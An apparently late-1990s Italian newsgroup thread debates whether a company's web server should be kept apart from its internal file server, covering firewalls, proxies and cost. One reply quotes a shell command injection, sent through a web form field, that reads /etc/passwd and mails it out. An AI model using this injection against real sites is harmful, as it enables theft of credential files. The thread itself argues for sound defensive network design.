Newsgroup: it.comp.reti.ip-admin
Titolo: 1 o 2 server?

Salve a tutti,
ci sono **reali** vantaggi in termini di sicurezza nel separare il
server web dal file server aziendale, installandoli su due macchine
distinte?
Se si, quali?
Personalmente ritengo che in una macchina ben configurata possano
coesistere tranquillamente senza nessun decadimento della sicurezza.
Saluti,
	Corrado
-------------------
Corrado Labinaz        
Vicenza (Italy)
email: 
corr...@tin.it
-------------------

 coesistere tranquillamente senza nessun decadimento della sicurezza.
Personalmente ritengo che se per "server aziendale" intendi
la macchina dove risiedono informazioni strategiche quali la
contabilita' dell'azienda, gli archivi gestionali, l'elenco clienti,
la documentazione interna eccetera sia assolutamente sconsiderato
non solo usare quella stessa macchina come webserver ma anche
solo connetterla a Internet.
Ovviamente lo stesso dicasi per la LAN aziendale.
Nessun sistemista/consulente/provider degno di tale nome dovrebbe,
sempre come personale parere, avere l'arroganza di pensare che
una macchina sia "ben configurata" al punto da essere sicura.
Non piu' tardi di tre giorni fa un ragazzino ha ben pensato di 
dimostrare quanto solido fosse il webserver del piu' grosso 
Internet provider olandese.... tirandogli giu' il root :)
[Un innocente script perl in una pagina web che passava un
campo di un form come parametro a un comando shell... mettendo
in quel parametro un bel " ; cat /etc/passwd | mail 
io...@me.com
"
puoi immaginare il risultato :-).. hanno dovuto "consigliare"
ad alcune centinaia di migliaia di loro abbonati di cambiare
password]
Ovviamente uno potrebbe esclamare "ma io non farei una cazzata
del genere", certo che no.. Murphy dice che ne farai presto o
tardi un'altra altrettanto creativa, tutta tua :)
La mia opinione e', e rimarra' ad vitam, che una azienda con una
connessione Internet dovrebbe avere una LAN interna assolutamente
firewallata dal resto del mondo dove stanno le macchine usate per
la vita quotidiana dell'azienda, una LAN esterna dove sta' tutto 
cio' che "deve" essere visibile al mondo (web, mail, dns), ed un
SIGNOR firewall che le collega, di quelli che fanno anche da proxy
Web e news, che impediscono agli utenti incompetenti di scaricare
binari di qualsiasi genere, codice Java o altro, oltre a "non
lasciar passare niente per default, salvo che non sia autorizzato".
Se qualcuno riesce a buttare giu' il webserver si accomodi...
al massimo ci mette una bella foto porno nella homepage e domani
si sistema.
Il tutto ovviamente chiedendosi ogni 10 minuti se e' DAVVERO 
necessario che le due reti dialoghino fra loro...
"Better safe than sorry".
Ciao,
-- 
Andrea

la vita quotidiana dell'azienda
Ancora una volta siamo d'accordo.
Ma qual'è la reale differenza tra queste due configurazioni?
1. Server multihomed con scheda di rete collegata alla rete aziendale
e scheda ISDN collegata a Internet (ovviamente nessun routing tra le 2
schede); server www-ftp; proxy per l'accesso a Internet dalla rete
aziendale.
2. 1 server www-ftp; 1 firewall; 1 server "aziendale" e relativa rete.
Ovviamente la seconda soluzione è molto più performante, ma anche
**molto** più costosa e mal si adatta a piccole aziende.
Se per firewall intendi packet-filtering non è la soluzione più
efficiente, meglio il filtro a livello di protocollo superiore (e
allora dovrebbe chiamarsi proxy) o un misto dei due.
Un proxy software può soddisfare benissimo le esigenze di una piccola
azienda.
Quello che sto dicendo è che a me le 2 soluzioni sembrano equivalenti,
fatte le debite proporzioni in termine di dimensioni e costi.
Anche nel caso 1 l'unica cosa che vedo da fuori è il server www-ftp.
Ammettendo che "se qualcosa può andare storta ci andrà" e che si
riesca ad accedere al file system ci sono i permessi di accesso ai
file. Ammettendo che fregandotene anche di quelli ottieni l'accesso al
db degli utenti e ti cerchi la password da amministratore, se è ben
criptata ti possono servire mesi per trovarla. Se entri lo stesso
cambio il nome in Fantozzi. :-)
Dal discorso vanno ovviamente esclusi bug presenti e futuri dei SO e
del software applicativo. Se per ipotesi un bug di Netscape Navigator
permettesse a qualcuno di vedere la tua password a poco servono anche
i più costosi firewall.


solo connetterla a Internet.
Sono totalmente d'accordo con te, anche una tra le piů grandi compagnie italiane
ha deciso che la sicurezza non fa al caso suo...
Ciao
	Pirla
Per rispondere in E-mail the (punto) pirla (chiocciola) 
flashnet.it
*** un bacio ai pupi ***
---> Linux user since 18/2/98 <---

ha deciso che la sicurezza non fa al caso suo...
Adesso però vogliamo i dettagli ... ;-)


Adesso perň vogliamo i dettagli ... ;-)
No niente dettagli... l'etica professionale non me lo permette.


ai provider che usano linux (echo subscribe|mail linux-isp-request@...).

sicurezza fin dall'inizio e affidarsi al primo "tecnico" che capita.
Perchè, un tecnico "esperto" cosa fa:
1. ha delle visioni che gli illustano i nuovi bug non ancora
scoperti??
2. anche se non dispone dei sorgenti usa il suo editor esadecimale per
correggere il bug ( individuato imponendo le mani al disco rigido??)
??!!
Qua il discorso era: dati alcuni elementi di base (server WWW, proxy,
firewall), trovare la configurazione più economica ed efficente.
Se il server WWW è bacato, resta bacato sia dentro che fuori ad un
firewall da L. 50.000.000 e quindi le considerazioni sul'affidabilità
o meno di uno specifico prodotto sono fuori luogo da questo discorso,
molto più teorico.
Certo che un tecnico/consulente degno di questo nome deve applicare le
patch, installare le nuove versioni, escogitare configurazioni che
rendono il bug innocuo. Mi aspetto anche che dica "in teoria la cosa
funziona, ma in pratica QUEL prodotto ha QUESTO difetto". Ma in ogni
caso non era questo il discorso.


 la tua password a poco servono anche i più costosi firewall.
Tra le svariate regole di sicurezza, c'e' anche quella che dice che il firewall
NON deve essere in alcun modo accessibile dall'esterno, anche conoscendo tutte
le passwords...
Ciao.
-- 
 Daniele
-------------------------------------------------------------------------------
The nice thing about Windows is - It does not just crash, it displays a
dialog box and lets you press 'OK' first.
(Arno Schaefer's .sig)
-------------------------------------------------------------------------------
 Se telecom italia aggiungesse uno scatto al giorno ad ogni abbonato, dal
 primo Gennaio avrebbe rubato 513.809.000.000 Lire.
-------------------------------------------------------------------------------
 Daniele Orlandi - Utility Line Italia - 
http://www.orlandi.com
 Via Mezzera 29/A - 20030 - Seveso (MI) - Italy
-------------------------------------------------------------------------------

corr...@tin.it
 wrote:
 >Perchè, un tecnico "esperto" cosa fa:
Di certo non spera che non ci siano bug perche` la propria rete rimanga
sicura.
 >2. anche se non dispone dei sorgenti usa il suo editor esadecimale per
 >correggere il bug ( individuato imponendo le mani al disco rigido??)
Aggiungo anche che un tecnico esperto molto spesso non usera` un sistema
operativo e tool di cui non ha i sorgenti.
 >Qua il discorso era: dati alcuni elementi di base (server WWW, proxy,
 >firewall), trovare la configurazione più economica ed efficente.
 >Se il server WWW è bacato, resta bacato sia dentro che fuori ad un
 >firewall da L. 50.000.000 e quindi le considerazioni sul'affidabilità
Il punto e` che in un caso hai compromesso un server, nell'altro rischi
l'intera rete.


l'intera rete.
E' vero. Ma a questo punto passiamo su considerazioni di carattere
economico. 
Quanto mi costa il worst case, il downtime dell'intera azienda?
Potrebbe essere poco, e allora non vale la pena di spendere grosse
cifre per evitarlo (anche considerando che potrebbe non accadere mai).
Potrebbe essere tanto o tantissimo, ben superiore alla spesa per una
configurazione più sicura.
Quindi, di nuovo come dicevo a Daniele, la configurazione **migliore**
non è necessariamente la più **sicura**.


le passwords...
Ma di accedere al firewall al cattivo non frega niente. 
Lui vuole accedere ai server dietro il firewall.
Magari con un collegamento PPTP e con la password che gli ha dato
Netscape. O preferisci un accesso remoto via modem? Un  ActiveX?


 Netscape. O preferisci un accesso remoto via modem? Un  ActiveX?
PPTP *NON* passa attraverso nessun firewall degno di tale nome, e comunque il
discorso rimane che connettere il server aziendale alla rete esterna rimane la
PEGGIORE delle soluzioni.
Ciao.
-- 
 Daniele
-------------------------------------------------------------------------------
..you could spend *all day* customizing the title bar.  Believe me.  I
speak from experience."
(By Matt Welsh)
-------------------------------------------------------------------------------
 Se telecom italia aggiungesse uno scatto al giorno ad ogni abbonato, dal
 primo Gennaio avrebbe rubato 516.742.000.000 Lire.


operativo e tool di cui non ha i sorgenti.
Allora non usiamo piu' router cisco perche' non abbiamo il sorgente dei loro
software, e quindi non sappiamo se quella che loro definiscono criptazione
con triplo des sia reale, o solo una mossa pubblicitara?
Oppure dobbiamo fare routing solo attraverso un open software, escludendo a
priori le possibilita' integrate degli attuali router?
--- (Elimina il papero per le repliche) ---
<HTML><META HTTP-EQUIV="Content-Type:text/html">
<BODY onLoad="alert('Do NOT use HTML to send message!!');
parent.close();">:) </BODY></HTML> --------